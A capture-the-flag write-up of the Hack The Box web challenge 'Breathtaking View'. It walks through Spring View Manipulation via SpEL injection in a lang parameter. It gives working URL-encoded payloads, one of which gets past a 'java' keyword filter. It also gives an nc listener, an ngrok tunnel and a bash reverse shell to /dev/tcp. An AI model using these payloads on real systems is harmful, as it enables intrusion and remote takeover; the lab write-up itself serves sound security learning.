Breathtaking View: Spring View Manipulation

Platform: Hack The Box

Category/Tags: Web, Expression Language Injection, Remote Code Execution

Difficulty: Easy

Challenge Description

Check out my new website showcasing a breathtaking view—let's hope no one can 'manipulate' it!

Information Gathering

A simple website with a login and registration page.

Landing Page

I tried to register and log in. There is a button that can be clicked to change the country language to French fr.

English version
French version

There is a ZIP file available for download for this challenge. I saw in the source code that this web application uses the Java Spring Framework, and I found some interesting lines under /Controllers/IndexController.java.

package com.hackthebox.breathtaking_view.Controllers;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.servlet.mvc.support.RedirectAttributes;

import javax.servlet.http.HttpSession;

@Controller
public class IndexController {
    @GetMapping("/")
    public String index(@RequestParam(defaultValue = "en") String lang, HttpSession session, RedirectAttributes redirectAttributes) {
        if (session.getAttribute("user") == null) {
            return "redirect:/login";
        }

        if (lang.toLowerCase().contains("java")) {
            redirectAttributes.addFlashAttribute("errorMessage", "But.... For what?");
            return "redirect:/";
        }

        return lang + "/index";
    }
}

It returns an index file based on the value supplied in the lang parameter. Only en and fr can return an index file, and if the input contains the string 'java,' it will return an error message.

?lang=java

Vulnerability

I tried supplying random strings (e.g., ?lang=tyr0x), and a Whitelabel Error Page appeared. As you can see, the string 'tyr0x' is also displayed on this page.

Whitelabel Error

After researching on Whitelabel Error and Spring Framework, I found that it is vulnerable to View Manipulation through Expression Language Injection. This vulnerability arises because the Spring Framework uses Spring Expression Language (SpEL), which can be escalated to Remote Code Execution.

Expression Language (EL) Injection happens when attacker controlled data enters an EL interpreter. The EL 2.2 spec allows method invocation, which permits an attacker to execute arbitrary code within context of the application. From OWASP.

Remote Code Execution (RCE) attack is where an attacker run malicious code on an organization’s computers or network. From Cloudflare.

Exploitation

I found this article Spring Pentesting, which helped me craft my payload to get the flag.

In my first attempt, I used this raw payload (in URL-encoded format) and applied the replace method because the web app returns an error page if the lang parameter contains the 'java' string. Unfortunately, it keeps rendering as a string.

*{"".getClass().forName("jbvb.lang.Runtime".replace("b","a")).getRuntime().exec("id")}
Whitelabel Error

I then tried another syntax, __${}__::.x, which I found in an article on Spring View Manipulation, and supplied my current RCE payload in URL-encoded format.

//raw 
__${""}.getClass().forName("jbvb.lang.Runtime".replace("b","a")).getRuntime().exec("id")__::.x

//URL encoded
__$%7B%22%22.getClass().forName(%22jbvb.lang.Runtime%22.replace(%22b%22,%22a%22)).getRuntime().exec(%22id%22)%7D__::.x

As you can see, it runs as a background process on the server because I utilized getRuntime().exec(). This is a clear indication that I can run commands and reverse shell.

Command runs as background process

Now, I can craft my own reverse shell. First, I will set up a Netcat listener

nc -lnvp 1234

To catch the reverse shell over the internet, I used ngrok; however, you need to configure ngrok first

ngrok tcp 1234

I used this reverse shell command, bash -c, to invoke a new instance and execute the following command (I don't know why it can't catch the shell if I put ' ' after bash -c; anyways, haha)

bash -c bash${IFS}-i${IFS}>/dev/tcp/<NGROK_LISTENING_ADDRESS>/<LISTENING_PORT><&1

The final URL encoded payload will be

//raw
__${"".getClass().forName("jbvb.lang.Runtime".replace("b","a")).getRuntime().exec("bash -c 'bash${IFS}-i${IFS}>&/dev/tcp/<NGROK_LISTENING_ADDRESS>/<LISTENING_PORT><&1'") }__::.x

//URL encoded
__$%7B%22%22.getClass().forName(%22jbvb.lang.Runtime%22.replace(%22b%22,%22a%22)).getRuntime().exec(%22bash%20-c%20bash$%7BIFS%7D-i$%7BIFS%7D>%26/dev/tcp/<NGROK_LISTENING_ADDRESS>/<LISTENING_PORT><%261%22)%7D__::.x

I successfully gained the shell!

Root

Last updated